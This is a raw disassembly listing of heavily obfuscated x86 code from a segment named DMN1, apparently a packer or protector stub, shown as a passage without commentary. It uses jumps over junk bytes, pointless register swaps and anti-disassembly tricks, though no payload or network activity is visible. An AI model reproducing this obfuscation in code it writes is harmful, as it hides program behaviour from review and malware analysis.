loc_46751A:				; CODE XREF: DMN1:loc_467515j
		cmc
		jmp	short loc_467537
; ---------------------------------------------------------------------------
		db 3Fh,	32h, 13h
		dd 0F01E1C40h, 0BC07B5B8h, 7ADAAD4Bh, 0F7F74B07h, 0D3DE6232h
		db 73h,	0F1h, 0D5h
; ---------------------------------------------------------------------------


loc_467537:				; CODE XREF: DMN1:0046751Bj
		jmp	short loc_46753F
; ---------------------------------------------------------------------------
		db 0E7h, 0F2h, 3Dh
		db 0B2h, 0Bh, 0CAh
; ---------------------------------------------------------------------------


loc_46753F:				; CODE XREF: DMN1:loc_467537j
		jmp	short loc_467549
; ---------------------------------------------------------------------------
		db 1Ch,	47h, 0FBh
		dd 0AB8E1FF2h
; ---------------------------------------------------------------------------
		cmc


loc_467549:				; CODE XREF: DMN1:loc_46753Fj
		sal	edi, 0EAh
		add	edx, 5363h


loc_467552:				; CODE XREF: DMN1:00467D9Fj
		jmp	short loc_46755D
; ---------------------------------------------------------------------------
		dd 0D9DBAB46h, 0AFC4AB62h
; ---------------------------------------------------------------------------
		clc


loc_46755D:				; CODE XREF: DMN1:loc_467552j
		jmp	short loc_467574
; ---------------------------------------------------------------------------
		db 76h
		dd 26D5E492h, 3CCF9D69h, 1E460121h, 0C2C3705Eh,	0F065F266h
; ---------------------------------------------------------------------------


loc_467574:				; CODE XREF: DMN1:loc_46755Dj
		neg	edi
		jmp	short loc_467580
; ---------------------------------------------------------------------------
		dd 13B2DD01h, 0C07B2772h
; ---------------------------------------------------------------------------


loc_467580:				; CODE XREF: DMN1:00467576j
		jmp	short loc_467588
; ---------------------------------------------------------------------------
		cmp	ds:0E8CCE2F1h, dl


loc_467588:				; CODE XREF: DMN1:loc_467580j
		jmp	short loc_4675A4
; ---------------------------------------------------------------------------
		dw 4128h
		dd 0BDC91F58h, 0D026166Fh, 0D5A7E4EAh, 443B729h, 60A00554h
		dd 218E75F7h
; ---------------------------------------------------------------------------


loc_4675A4:				; CODE XREF: DMN1:loc_467588j
		xchg	esi, esp
		jmp	short loc_4675BB
; ---------------------------------------------------------------------------
		dd 0E2CD8089h, 3944456Bh, 66857EA9h, 0B8A0B4A1h
		db 76h,	7, 0CAh
; ---------------------------------------------------------------------------


loc_4675BB:				; CODE XREF: DMN1:004675A6j
		cmc
		jmp	short loc_4675C8
; ---------------------------------------------------------------------------
		dw 35ECh
		dd 6CC25F39h, 3D618E6Fh
; ---------------------------------------------------------------------------


loc_4675C8:				; CODE XREF: DMN1:004675BCj
		jmp	short loc_4675CE
; ---------------------------------------------------------------------------
		dw 3464h
		db 6Dh,	75h
; ---------------------------------------------------------------------------


loc_4675CE:				; CODE XREF: DMN1:loc_4675C8j
		jmp	short loc_4675E3
; ---------------------------------------------------------------------------
		dd 1C8528CDh, 27A0BB3Bh, 6752F72Bh, 0A1CC61A2h
; ---------------------------------------------------------------------------
		inc	edi
		cmp	[edx], bl


loc_4675E3:				; CODE XREF: DMN1:loc_4675CEj
		jmp	short loc_4675E6
; ---------------------------------------------------------------------------
		sahf


loc_4675E6:				; CODE XREF: DMN1:loc_4675E3j
		xchg	eax, eax
		jmp	short loc_467606
; ---------------------------------------------------------------------------
		dw 43A0h
		dd 0A3B698D2h, 0C76E3A7Ah, 79233639h, 79B821EFh, 0D9E5DE64h
		dd 0D3CA7564h
; ---------------------------------------------------------------------------
		fucomi	st, st(7)


loc_467606:				; CODE XREF: DMN1:004675E8j
		xchg	esi, esp
		jmp	short loc_467614
; ---------------------------------------------------------------------------
		dw 1BF4h
		dd 6E962F2Dh, 6A0022E9h
; ---------------------------------------------------------------------------


loc_467614:				; CODE XREF: DMN1:00467608j
		jmp	short loc_467634
; ---------------------------------------------------------------------------
		dw 9096h
		dd 0B416B5EBh, 88B9494Dh, 0FEDCDEh, 181AE1AFh, 0A0800Eh
		dd 8D806DEBh, 0EB2AB000h
; ---------------------------------------------------------------------------


loc_467634:				; CODE XREF: DMN1:loc_467614j
		mov	ebx, ebp
		jmp	short loc_467655
; ---------------------------------------------------------------------------
		dd 0E418976Ch, 4571E023h, 0E915D8DAh, 0B547A3B5h, 2452C9DCh
		dd 0B045CAB1h, 5C2A1C03h
		db 0B6h
; ---------------------------------------------------------------------------


loc_467655:				; CODE XREF: DMN1:00467636j
		xchg	edx, edx
		cmc
		ror	ecx, 85h
		jmp	short loc_467662
; ---------------------------------------------------------------------------
		db 20h,	0Ah, 82h
; ---------------------------------------------------------------------------
		push	esi
		popf


loc_467662:				; CODE XREF: DMN1:0046765Bj
		xchg	edx, edx
		jmp	short loc_467670
; ---------------------------------------------------------------------------
		dw 0D2A9h
		dd 0FE28F0E1h, 859741EAh
; ---------------------------------------------------------------------------


loc_467670:				; CODE XREF: DMN1:00467664j
		jmp	short loc_467674
; ---------------------------------------------------------------------------
		dw 796Eh
; ---------------------------------------------------------------------------


loc_467674:				; CODE XREF: DMN1:loc_467670j
		jmp	short loc_467688
; ---------------------------------------------------------------------------
		dw 3021h
		dd 919A8311h, 0E5546A66h, 0FB24F493h, 0A41CCAC7h
; ---------------------------------------------------------------------------


loc_467688:				; CODE XREF: DMN1:loc_467674j
		std
		jmp	short loc_46769F
; ---------------------------------------------------------------------------
		db 46h
		dd 5980E7CFh, 3BC2B86Ah, 0E757FB30h, 0CFEA1B40h
; ---------------------------------------------------------------------------
		adc	[ebp+4Bh], cl


loc_46769F:				; CODE XREF: DMN1:00467689j
		jmp	short loc_4676B5
; ---------------------------------------------------------------------------
		mov	ds:0B55F9620h, al
		mov	esi, 0E2C7AF18h
		retf	4529h
; ---------------------------------------------------------------------------
		dw 5331h
		dd 8044FC39h
		db 88h
; ---------------------------------------------------------------------------


loc_4676B5:				; CODE XREF: DMN1:loc_46769Fj
		add	ebx, eax
		xchg	esp, ecx
		jmp	short loc_4676C4
; ---------------------------------------------------------------------------
		pop	esp
		jz	short near ptr word_467716
		retn
; ---------------------------------------------------------------------------
		sub	eax, 9A7BD67Ch


loc_4676C4:				; CODE XREF: DMN1:004676B9j
		jmp	short loc_4676D4
; ---------------------------------------------------------------------------
		dw 505Dh
		dd 0FFDD81E5h, 0E996E413h, 0ED90DC65h
; ---------------------------------------------------------------------------


loc_4676D4:				; CODE XREF: DMN1:loc_4676C4j
		jmp	short loc_4676E5
; ---------------------------------------------------------------------------
		dw 0C8FAh
		dd 0A4AF7D55h, 0C0BAE0F4h, 0B6E63117h
		db 6Bh
; ---------------------------------------------------------------------------


loc_4676E5:				; CODE XREF: DMN1:loc_4676D4j
		jmp	short loc_4676F8
; ---------------------------------------------------------------------------
		db 0F8h
		dd 94850DC5h, 71CDE0C7h, 9291039Bh, 0BAA376D8h
; ---------------------------------------------------------------------------


loc_4676F8:				; CODE XREF: DMN1:loc_4676E5j
		mov	esi, [ebx]
		jmp	short loc_46771A
; ---------------------------------------------------------------------------
		dd 0E89834BCh, 0A5B0EDF0h, 0A97C98E9h, 0FE06AE2Eh, 0A8FE9B29h
		dd 0CE385DE0h
		db 0E3h, 0A4h
word_467716	dw 9135h		; CODE XREF: DMN1:004676BCj
; ---------------------------------------------------------------------------
		xor	ebp, ebp


loc_46771A:				; CODE XREF: DMN1:004676FAj
		jmp	short loc_46772F
; ---------------------------------------------------------------------------
		sub	dh, [ebp-795B5B2Ah]
		aas
		wait
		adc	dh, [eax+21h]
		adc	[ebx+19A4B36Bh], esp
		sbb	dh, bh


loc_46772F:				; CODE XREF: DMN1:loc_46771Aj
		xchg	ebp, ecx
		jmp	short loc_467734
; ---------------------------------------------------------------------------
		push	ecx


loc_467734:				; CODE XREF: DMN1:00467731j
		xchg	ebp, edx
		jmp	short loc_467745
; ---------------------------------------------------------------------------
		aaa
		mov	dh, dl
		xor	al, 0Dh
		inc	edx
		and	[ebx-1Ah], al
		dec	esi
		mov	dh, 0F6h
		sahf


loc_467745:				; CODE XREF: DMN1:00467736j
		jmp	short loc_467751
; ---------------------------------------------------------------------------
		db 66h
		dd 0B2D7CC8Ch, 70EF9CA0h
		db 0BBh
; ---------------------------------------------------------------------------


loc_467751:				; CODE XREF: DMN1:loc_467745j
		jmp	short loc_467771
; ---------------------------------------------------------------------------
		db 0C5h
		dd 8A7FF1DEh, 3B938C2Ch, 0AF365FEDh, 0F6C444DAh, 88489EFCh
		dd 22DC7763h, 443EEEA7h
		db 90h
; ---------------------------------------------------------------------------


loc_467771:				; CODE XREF: DMN1:loc_467751j
		xchg	esi, edi
		xchg	edx, ecx
		jmp	short loc_467795
; ---------------------------------------------------------------------------
		db 9Eh
		dd 429C6863h, 0DE9B6EC4h, 472B6091h, 774D54E5h,	0A0C666C7h
		dd 0EB79C851h, 0EFE27E4Dh
		db 6Fh
; ---------------------------------------------------------------------------


loc_467795:				; CODE XREF: DMN1:00467775j
		jmp	short loc_46779D
; ---------------------------------------------------------------------------
		db 0BCh
; ---------------------------------------------------------------------------
		cmp	eax, 0D0A25BB0h


loc_46779D:				; CODE XREF: DMN1:loc_467795j
		jmp	short loc_4677A0
; ---------------------------------------------------------------------------
		db 75h
; ---------------------------------------------------------------------------


loc_4677A0:				; CODE XREF: DMN1:loc_46779Dj
		jmp	short loc_4677BE
; ---------------------------------------------------------------------------
		dw 871Ah
		dd 34767EF8h, 0A02AF4D5h, 87EEAF4Fh, 39D8409Dh,	905719D3h
		dd 3DDF421Bh
; ---------------------------------------------------------------------------
		jge	short loc_4677ED


loc_4677BE:				; CODE XREF: DMN1:loc_4677A0j
		xchg	ecx, ebp
		xor	edi, [ebp+0]
		jmp	short loc_4677DF
; ---------------------------------------------------------------------------
		db 0Fh,	0B1h, 65h
		dd 6DAA29B4h, 0C58A0CEAh, 0A98E38AEh, 0B73F574Ah, 0E37BD588h
; ---------------------------------------------------------------------------
		fnstcw	word ptr [esi-6Ch]


loc_4677DF:				; CODE XREF: DMN1:004677C3j
		jmp	short loc_4677F5
; ---------------------------------------------------------------------------
		db 0B6h, 63h, 37h
		dd 0BD25057h, 0CB1837CFh
; ---------------------------------------------------------------------------
		stc


loc_4677ED:				; CODE XREF: DMN1:004677BCj
		sub	[esi+6A6BE9C3h], dl
		db	3Eh
		xchg	eax, ebx


loc_4677F5:				; CODE XREF: DMN1:loc_4677DFj
		bswap	ebx
		jmp	short loc_4677FA
; ---------------------------------------------------------------------------
		db 65h
; ---------------------------------------------------------------------------


loc_4677FA:				; CODE XREF: DMN1:004677F7j
		jmp	short $+2
		xchg	esp, edi
		jmp	short loc_46781A
; ---------------------------------------------------------------------------
		xor	ds:0A51465F2h, ah
		xchg	eax, edx
		nop
		jg	short loc_467849
		wait
		popa
		push	ecx
		cmpsb
		sbb	eax, 987D091Ch
		int	3		; Trap to Debugger
		pop	ebp
		mov	ds:942E647Bh, al


loc_46781A:				; CODE XREF: DMN1:004677FEj
		cmc
		jmp	short loc_46781E
; ---------------------------------------------------------------------------
		db 78h
; ---------------------------------------------------------------------------


loc_46781E:				; CODE XREF: DMN1:0046781Bj
		xchg	esi, ecx
		jmp	short loc_46783E
; ---------------------------------------------------------------------------
		dw 48F3h
		dd 253F0E7Dh, 1D601EFh,	786E80EBh, 8D64109Dh, 30688CE3h
		dd 0A850CDC5h
; ---------------------------------------------------------------------------
		mov	ch, 14h


loc_46783E:				; CODE XREF: DMN1:00467820j
		xchg	ebp, esi
		jmp	short loc_467845
; ---------------------------------------------------------------------------
		dw 0EE22h
		db 3Ah
; ---------------------------------------------------------------------------


loc_467845:				; CODE XREF: DMN1:00467840j
		jmp	short loc_46785A
; ---------------------------------------------------------------------------
		dec	edx
		push	esp


loc_467849:				; CODE XREF: DMN1:00467808j
		sub	al, 9
		jmp	near ptr 92CC057Ah
; ---------------------------------------------------------------------------
		dd 0F7B6F416h, 0AEA8A665h
; ---------------------------------------------------------------------------
		add	al, 0DDh


loc_46785A:				; CODE XREF: DMN1:loc_467845j
		jmp	short loc_46787A
; ---------------------------------------------------------------------------
		inc	esi
		cmp	eax, 5209D821h
		retn	5848h
; ---------------------------------------------------------------------------
		db 62h,	9, 99h
		dd 0BA92AF84h, 78BF50CAh, 0C8A5290Eh, 429360Ah
		db 6, 9
; ---------------------------------------------------------------------------


loc_46787A:				; CODE XREF: DMN1:loc_46785Aj
		xchg	esp, [esi]
		test	ecx, 0E9A69C5Ch
		stc
		cld
		std
		jmp	short loc_4678A0
; ---------------------------------------------------------------------------
		db 0C5h
		dd 86D6E8A4h, 8A98EA0Ch, 56BC4315h, 3C15448h, 2C4318ADh
		dd 5F64FF48h
; ---------------------------------------------------------------------------


loc_4678A0:				; CODE XREF: DMN1:00467885j
		sub	esp, 902A5E66h
		jmp	short loc_4678BD
; ---------------------------------------------------------------------------
		dd 55C6D144h, 1DDE71C6h, 0AFAA20F8h, 5B762363h,	24EAE15Eh
		db 0EEh
; ---------------------------------------------------------------------------


loc_4678BD:				; CODE XREF: DMN1:004678A6j
		jmp	short loc_4678D9
; ---------------------------------------------------------------------------
		db 10h
; ---------------------------------------------------------------------------
		jmp	short loc_46792A
; ---------------------------------------------------------------------------
		dw 7D3Eh
		dd 0FEB9404Ah, 0B8A02E4Ah, 177131EBh, 4E6AC6B6h, 3187AD85h
; ---------------------------------------------------------------------------
		push	cs


loc_4678D9:				; CODE XREF: DMN1:loc_4678BDj
		jmp	short loc_4678F1
; ---------------------------------------------------------------------------
		db 48h
		dd 5212CC83h, 2A6B1DBBh, 0A2181F01h, 4582BB97h,	429F9B70h
		db 0E5h
; ---------------------------------------------------------------------------


loc_4678F1:				; CODE XREF: DMN1:loc_4678D9j
		xchg	edx, eax
		xchg	edi, ebp
		jmp	short loc_4678F9
; ---------------------------------------------------------------------------
		db 95h
		db 1Bh
; ---------------------------------------------------------------------------


loc_4678F9:				; CODE XREF: DMN1:004678F5j
		sbb	ecx, 65FF6E4h
		jmp	short loc_46791A
; ---------------------------------------------------------------------------
		db 0F3h, 6Ah, 0A0h
		dd 74CD4AAAh, 6CA8A0E9h, 2D3994BDh, 0C2A98550h,	80A57ABCh
		db 8Eh,	89h
; ---------------------------------------------------------------------------


loc_46791A:				; CODE XREF: DMN1:004678FFj
		ror	esp, 1
		cmc
		jmp	short loc_46793E
; ---------------------------------------------------------------------------
		db 28h
		dd 55B97FBBh, 0DB5458B9h
		db 44h,	17h
; ---------------------------------------------------------------------------


loc_46792A:				; CODE XREF: DMN1:004678C0j
		out	1Fh, eax
		loopne	locret_4679A5
		cmc
		adc	al, 34h
		adc	[eax], esi
		daa
		push	eax
		mov	ds:6A8915D7h, al
		and	dh, al
; ---------------------------------------------------------------------------
		db 0BCh, 29h
; ---------------------------------------------------------------------------


loc_46793E:				; CODE XREF: DMN1:0046791Dj
		xchg	esi, eax
		xchg	esp, esp
		jmp	short loc_467961
; ---------------------------------------------------------------------------
		mov	eax, ds:14E70F39h
		icebp
		rcr	esi, cl
		retf
; ---------------------------------------------------------------------------
		db 96h,	0CFh, 43h
		dd 6A5E4306h, 2FBFF629h, 9C075986h, 0F60A984Ah
		db 0C1h
; ---------------------------------------------------------------------------


loc_467961:				; CODE XREF: DMN1:00467942j
		neg	ebp
		jmp	short loc_46796E
; ---------------------------------------------------------------------------
		db 0ACh, 9Ah, 99h
; ---------------------------------------------------------------------------
		mov	esi, [ebp-347F686Ch]


loc_46796E:				; CODE XREF: DMN1:00467963j
		jmp	short $+2
		jmp	short loc_467977
; ---------------------------------------------------------------------------
		cwde
		xchg	ah, [ebp-51h]
		icebp


loc_467977:				; CODE XREF: DMN1:00467970j
		jmp	short loc_467989
; ---------------------------------------------------------------------------
		db 0BEh, 0B5h, 30h
		dd 0B64AC222h, 0BE476592h, 0A711469Dh
		db 0Bh
; ---------------------------------------------------------------------------


loc_467989:				; CODE XREF: DMN1:loc_467977j
		jmp	short loc_4679A0
; ---------------------------------------------------------------------------
		db 0D6h
		dd 0D2527119h, 12A2A28Eh, 89FD5656h, 0D525A334h, 0DF9B76A8h
; ---------------------------------------------------------------------------


loc_4679A0:				; CODE XREF: DMN1:loc_467989j
		xchg	esp, [eax]
		jmp	short loc_4679BE
; ---------------------------------------------------------------------------
		db 0E6h
; ---------------------------------------------------------------------------

locret_4679A5:				; CODE XREF: DMN1:0046792Cj
		retn	0F64Dh
; ---------------------------------------------------------------------------
		dd 8B92333Bh, 7F672547h, 4C555C0Bh, 6D0B58FEh, 0D2ADFA6h
		db 0F4h, 69h
; ---------------------------------------------------------------------------


loc_4679BE:				; CODE XREF: DMN1:004679A2j
		jmp	short loc_4679C2
; ---------------------------------------------------------------------------
		db 0F2h, 19h
; ---------------------------------------------------------------------------


loc_4679C2:				; CODE XREF: DMN1:loc_4679BEj
		cld
		std
		xchg	ebp, esi
		jmp	short loc_4679E0
; ---------------------------------------------------------------------------
		dd 0FE3F4E8Ah, 0B2597406h, 0ECA81F80h, 0C11BE23Eh, 64DB1CFh
		dd 25CB9917h
; ---------------------------------------------------------------------------


loc_4679E0:				; CODE XREF: DMN1:004679C6j
		cld
		jmp	short loc_467A01
; ---------------------------------------------------------------------------
		neg	byte ptr [eax]
		mov	bl, 8
		pop	esi
		xchg	bl, [ebx+23h]
		xchg	eax, ecx
		cmpsd
		push	esi
		and	[edi+5057899Fh], esi
		mov	dword ptr [ebx+0Eh], 0B154936Dh
		or	al, 93h
		cmp	al, 4
		std
		xchg	eax, ebp


loc_467A01:				; CODE XREF: DMN1:004679E1j
		sub	ebx, 0A5D8492Eh
		jmp	short loc_467A27
; ---------------------------------------------------------------------------
		db 11h,	78h, 8Ah
		dd 0B02F66ADh, 22885AEBh, 9AF0F1DAh, 1FB703D6h,	0A6D81906h
		dd 6D29AB39h
		db 8Ah,	8Ch, 0Dh
; ---------------------------------------------------------------------------


loc_467A27:				; CODE XREF: DMN1:00467A07j
		mov	ecx, edx
		xor	esi, 0A3817216h
		jmp	short loc_467A3F
; ---------------------------------------------------------------------------
		db 0FEh, 30h, 81h
		dd 0E243F719h, 0C9EC6347h
		db 21h,	99h, 58h
; ---------------------------------------------------------------------------


loc_467A3F:				; CODE XREF: DMN1:00467A2Fj
		cmc
		xchg	ecx, eax
		jmp	short loc_467A4B
; ---------------------------------------------------------------------------
		dd 449A945Dh
		db 0B5h, 63h, 0F6h
; ---------------------------------------------------------------------------


loc_467A4B:				; CODE XREF: DMN1:00467A42j
		clc
		jmp	short loc_467A52
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		sbb	ebx, [eax]
		setalc


loc_467A52:				; CODE XREF: DMN1:00467A4Cj
		jmp	short loc_467A59
; ---------------------------------------------------------------------------
		aas
		db	26h
		sti
		and	al, 0B6h


loc_467A59:				; CODE XREF: DMN1:loc_467A52j
		xchg	ebp, esp
		jmp	short $+2
		add	eax, esp
		jmp	short loc_467A6B
; ---------------------------------------------------------------------------
		push	ebx
		fild	dword ptr [esi]
		or	cl, es:[ecx+2810C0Ch]


loc_467A6B:				; CODE XREF: DMN1:00467A5Fj
		jmp	short loc_467A8A
; ---------------------------------------------------------------------------
		db 0A8h, 42h, 0D0h
; ---------------------------------------------------------------------------
		jmp	dword ptr [edi-35C56DBDh]
; ---------------------------------------------------------------------------
		dw 0E701h
		dd 2F4FAEFAh, 0DE8BCE14h, 857843DCh, 2C0D596Ah
; ---------------------------------------------------------------------------
		jnz	short loc_467AA4


loc_467A8A:				; CODE XREF: DMN1:loc_467A6Bj
		jmp	short loc_467AA0
; ---------------------------------------------------------------------------
		dd 25AFBEE3h, 22EF7190h, 2116A3ACh, 9FE6D3CCh, 18AE091Ch
; ---------------------------------------------------------------------------


loc_467AA0:				; CODE XREF: DMN1:loc_467A8Aj
		jmp	short loc_467AB1
; ---------------------------------------------------------------------------
		dw 0BA9Ch
; ---------------------------------------------------------------------------


loc_467AA4:				; CODE XREF: DMN1:00467A88j
		sahf
		hlt
; ---------------------------------------------------------------------------
		mov	edx, 0BB73458h


loc_467AAB:				; CODE XREF: DMN1:00467B28j
		mov	eax, 0BD9EAD4Eh
		retn
; ---------------------------------------------------------------------------


loc_467AB1:				; CODE XREF: DMN1:loc_467AA0j
		jmp	short loc_467ACA
; ---------------------------------------------------------------------------
		db 50h
		dd 3AB81101h, 2E7591A7h, 5EDFDF4Dh, 10B92598h, 0A8FA89F1h
		db 0FCh, 0F7h
; ---------------------------------------------------------------------------


loc_467ACA:				; CODE XREF: DMN1:loc_467AB1j
		mov	[eax], ebp
		jmp	short loc_467AE1
; ---------------------------------------------------------------------------
		retn	0B71Ah
; ---------------------------------------------------------------------------
		das
		sbb	dl, 3
		adc	al, [edx+eax*8-2Dh]
		mov	esi, 0B19BB05Ah
		retn	31F1h
; ---------------------------------------------------------------------------


loc_467AE1:				; CODE XREF: DMN1:00467ACCj
		jmp	short $+2
		jmp	short loc_467B04
; ---------------------------------------------------------------------------
aRnqQrlnfLNHs_0	db 9,'ï',0Ah
		db 'QL­fÁL~N#hápè¼-´',0
		dd 0F7A458B1h, 39E3273h
; ---------------------------------------------------------------------------


loc_467B04:				; CODE XREF: DMN1:00467AE3j
		cmc
		jmp	short loc_467B21
; ---------------------------------------------------------------------------
		db 0E6h
		dd 0CB63A015h, 83D26C68h, 9FBC7A0Eh, 0B38C16FFh, 0ECBECD5Ch
		dd 21EDB6C1h
; ---------------------------------------------------------------------------
		push	ebp


loc_467B21:				; CODE XREF: DMN1:00467B05j
		jmp	short loc_467B2A
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0A44096CDh
; ---------------------------------------------------------------------------
		jns	short loc_467AAB


loc_467B2A:				; CODE XREF: DMN1:loc_467B21j
		jmp	short loc_467B31
; ---------------------------------------------------------------------------
		dd 5F46EEF8h
; ---------------------------------------------------------------------------
		dec	edx


loc_467B31:				; CODE XREF: DMN1:loc_467B2Aj
		xchg	edi, ebx
		jmp	short loc_467B45
; ---------------------------------------------------------------------------
		db 0BFh, 0FBh, 61h
		dd 85E4CFAFh, 38B526D8h, 0E478AEEDh
		db 68h
; ---------------------------------------------------------------------------


loc_467B45:				; CODE XREF: DMN1:00467B33j
		jmp	short loc_467B62
; ---------------------------------------------------------------------------
		db 1
		dd 0DE7C152Bh, 9E724105h, 0CD22A6A5h, 2B486CF3h, 87FE52CAh
		dd 0E03AE970h
		db 0, 37h
; ---------------------------------------------------------------------------


loc_467B62:				; CODE XREF: DMN1:loc_467B45j
		jmp	short loc_467B6E
; ---------------------------------------------------------------------------
		dd 28F31E92h, 5B4A318Eh
		db 30h,	91h
; ---------------------------------------------------------------------------


loc_467B6E:				; CODE XREF: DMN1:loc_467B62j
		stc
		jmp	short loc_467B8C
; ---------------------------------------------------------------------------
		db 0F3h, 47h, 86h
		dd 93A42273h, 14391CF3h, 5D60E1AAh, 0FF386F3Eh,	0BC10BD15h
		dd 5EFA7FECh
; ---------------------------------------------------------------------------


loc_467B8C:				; CODE XREF: DMN1:00467B6Fj
		xor	ebp, 85E089B9h
		jmp	short loc_467BA9
; ---------------------------------------------------------------------------
		dd 0C0AAF44Dh, 6530B1ACh, 5F48A3BAh, 0C58C98AFh, 0A12A4032h
		db 4Ch
; ---------------------------------------------------------------------------


loc_467BA9:				; CODE XREF: DMN1:00467B92j
		inc	esp
		jmp	short $+2
		jmp	short loc_467BB1
; ---------------------------------------------------------------------------
		dw 956Dh
		db 0D5h
; ---------------------------------------------------------------------------


loc_467BB1:				; CODE XREF: DMN1:00467BACj
		jmp	short loc_467BB7
; ---------------------------------------------------------------------------
		db 88h
		db 25h,	1Ah, 6Fh
; ---------------------------------------------------------------------------


loc_467BB7:				; CODE XREF: DMN1:loc_467BB1j
		xchg	ebx, ebp
		xchg	ebx, edx
		jmp	short loc_467BCD
; ---------------------------------------------------------------------------
		db 3Ch,	5Ch, 0C1h
		dd 615BA18Bh, 0EDFC2F02h, 3ECA04EEh
		db 0B0h
; ---------------------------------------------------------------------------


loc_467BCD:				; CODE XREF: DMN1:00467BBBj
		jmp	short loc_467BEC
; ---------------------------------------------------------------------------
		db 22h
		dd 0ACEDC906h, 1A5692C2h, 0E87F80E3h, 1B98969Eh, 0CFA9E3CFh
		dd 44939574h, 0D0F1B9ABh
; ---------------------------------------------------------------------------


loc_467BEC:				; CODE XREF: DMN1:loc_467BCDj
		jmp	short loc_467C02
; ---------------------------------------------------------------------------
		dw 0A7B4h
		dd 0FDDD7674h, 34EB028Ah, 202F0225h, 57F94ADAh
		db 0D1h, 0A9h
; ---------------------------------------------------------------------------


loc_467C02:				; CODE XREF: DMN1:loc_467BECj
		jmp	short loc_467C17
; ---------------------------------------------------------------------------
		dd 98011D99h, 9218C4CDh, 4FCA0651h, 0A995BE64h
		db 9Ch,	0C7h, 0B2h
; ---------------------------------------------------------------------------


loc_467C17:				; CODE XREF: DMN1:loc_467C02j
		jmp	short loc_467C24
; ---------------------------------------------------------------------------
		db 8, 20h, 77h
; ---------------------------------------------------------------------------
		push	eax
		adc	dword ptr [esp+eax*2-22h], 0FFFFFF9Ah
		add	[edx], ah


loc_467C24:				; CODE XREF: DMN1:loc_467C17j
		jmp	short loc_467C2A
; ---------------------------------------------------------------------------
		dw 0DF57h
		db 8Eh,	79h
; ---------------------------------------------------------------------------


loc_467C2A:				; CODE XREF: DMN1:loc_467C24j
		jmp	short loc_467C47
; ---------------------------------------------------------------------------
		dd 717B12EFh, 0E7302562h, 0B766CD7Fh, 0FBF2C46h, 0D7EB9FCCh
		dd 0B95D7FE2h
		db 6, 0E1h, 96h
; ---------------------------------------------------------------------------


loc_467C47:				; CODE XREF: DMN1:loc_467C2Aj
		jmp	short loc_467C4B
; ---------------------------------------------------------------------------
		db 5Eh,	0C1h
; ---------------------------------------------------------------------------


loc_467C4B:				; CODE XREF: DMN1:loc_467C47j
		xchg	esp, ebx
		jmp	short loc_467C60
; ---------------------------------------------------------------------------
		db 54h
		dd 5B313D85h, 0A0825685h, 0E336E9B8h, 0E1B20030h
; ---------------------------------------------------------------------------


loc_467C60:				; CODE XREF: DMN1:00467C4Dj
		add	ebx, 2
		sub	edi, 60A6F7ADh
		cld
		shr	edi, 8Ah
		jmp	short loc_467C80
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		dd 0B5487B89h, 0DD2F11EEh, 0B7FC01BBh, 58229F61h
; ---------------------------------------------------------------------------


loc_467C80:				; CODE XREF: DMN1:00467C6Dj
		jmp	short loc_467C85
; ---------------------------------------------------------------------------
		dw 95EFh
		db 0C2h
; ---------------------------------------------------------------------------


loc_467C85:				; CODE XREF: DMN1:loc_467C80j
		jmp	short loc_467C8F
; ---------------------------------------------------------------------------
		db 0D9h
		dd 0CDF5781Eh
		db 31h,	0B1h, 77h
; ---------------------------------------------------------------------------


loc_467C8F:				; CODE XREF: DMN1:loc_467C85j
		jmp	short loc_467CA8
; ---------------------------------------------------------------------------
		db 0ECh, 6Bh, 55h
		dd 0F6CE218Dh, 76752812h, 58C03C1Fh, 5E9BEC43h,	0EAD6A38Ah
; ---------------------------------------------------------------------------


loc_467CA8:				; CODE XREF: DMN1:loc_467C8Fj
		add	ebx, 1
		jmp	short loc_467CB0
; ---------------------------------------------------------------------------
		pop	eax
		jno	short loc_467CB7


loc_467CB0:				; CODE XREF: DMN1:00467CABj
		xchg	esp, ebx
		xchg	ebx, edi
		xchg	esi, ecx
		cld


loc_467CB7:				; CODE XREF: DMN1:00467CAEj
		stc
		jmp	short loc_467CBE
; ---------------------------------------------------------------------------
		dw 0EA71h
		db 4Ah,	0C2h
; ---------------------------------------------------------------------------


loc_467CBE:				; CODE XREF: DMN1:00467CB8j
		jmp	short loc_467CDD
; ---------------------------------------------------------------------------
		dd 0A3E47B81h, 5E10F79Ah, 3BD5653h, 7C0D6381h, 6D0D1FBh
		dd 4EEB6D9Bh, 0FD913C95h
		db 8Ah
; ---------------------------------------------------------------------------


loc_467CDD:				; CODE XREF: DMN1:loc_467CBEj
		jmp	short loc_467CE0
; ---------------------------------------------------------------------------
		db 0BCh
; ---------------------------------------------------------------------------


loc_467CE0:				; CODE XREF: DMN1:loc_467CDDj
		jmp	short loc_467CFD
; ---------------------------------------------------------------------------
		dw 0CC44h
		dd 9A5706h, 0E62CE700h,	0FFE755BCh, 0BAA70E73h,	89DD2691h
		dd 0D5BEB3F8h
		db 0EAh
; ---------------------------------------------------------------------------


loc_467CFD:				; CODE XREF: DMN1:loc_467CE0j
		xchg	edi, ecx
		jmp	short loc_467D1B
; ---------------------------------------------------------------------------
		db 62h,	28h, 23h
		dd 0FE6895BFh, 149DE561h, 20217A0Bh, 3F94274Bh,	0E6D1A4EAh
		db 0B4h, 35h, 11h
; ---------------------------------------------------------------------------


loc_467D1B:				; CODE XREF: DMN1:00467CFFj
		jmp	short loc_467D35
; ---------------------------------------------------------------------------
		db 0Eh,	0ADh, 7Bh
		dd 0A42C9286h, 7B3331D9h, 0E63AA0CAh, 2CB0F717h, 3DB0207Fh
		db 6Dh
; ---------------------------------------------------------------------------


loc_467D35:				; CODE XREF: DMN1:loc_467D1Bj
		jmp	short loc_467D3E
; ---------------------------------------------------------------------------
		db 25h
		dd 0A3C36B68h
		db 0CFh, 0B4h
; ---------------------------------------------------------------------------


loc_467D3E:				; CODE XREF: DMN1:loc_467D35j
		jmp	short loc_467D52
; ---------------------------------------------------------------------------
		dd 575FEDD8h, 0D9FF7C5Ch, 359E350h, 0BA83AB19h
		db 28h,	43h
; ---------------------------------------------------------------------------


loc_467D52:				; CODE XREF: DMN1:loc_467D3Ej
		sub	ebp, 1
		jz	short loc_467DA4
		dec	edx
		xchg	ebp, esp
		stc
		jmp	short loc_467D73
; ---------------------------------------------------------------------------
		db 0C1h, 0AEh, 94h
		dd 9CD4ECC0h, 0D7C000BEh, 42F05349h, 0AB4FCF58h
; ---------------------------------------------------------------------------
		xchg	eax, ebx
		push	ebx
		push	edi


loc_467D73:				; CODE XREF: DMN1:00467D5Bj
